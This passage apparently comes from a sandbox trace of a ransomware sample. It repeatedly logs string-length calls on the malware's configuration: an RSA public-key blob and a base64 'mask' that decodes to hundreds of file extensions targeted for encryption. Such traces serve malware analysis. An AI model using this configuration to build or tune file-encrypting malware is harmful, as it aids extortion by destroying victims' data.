ZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwg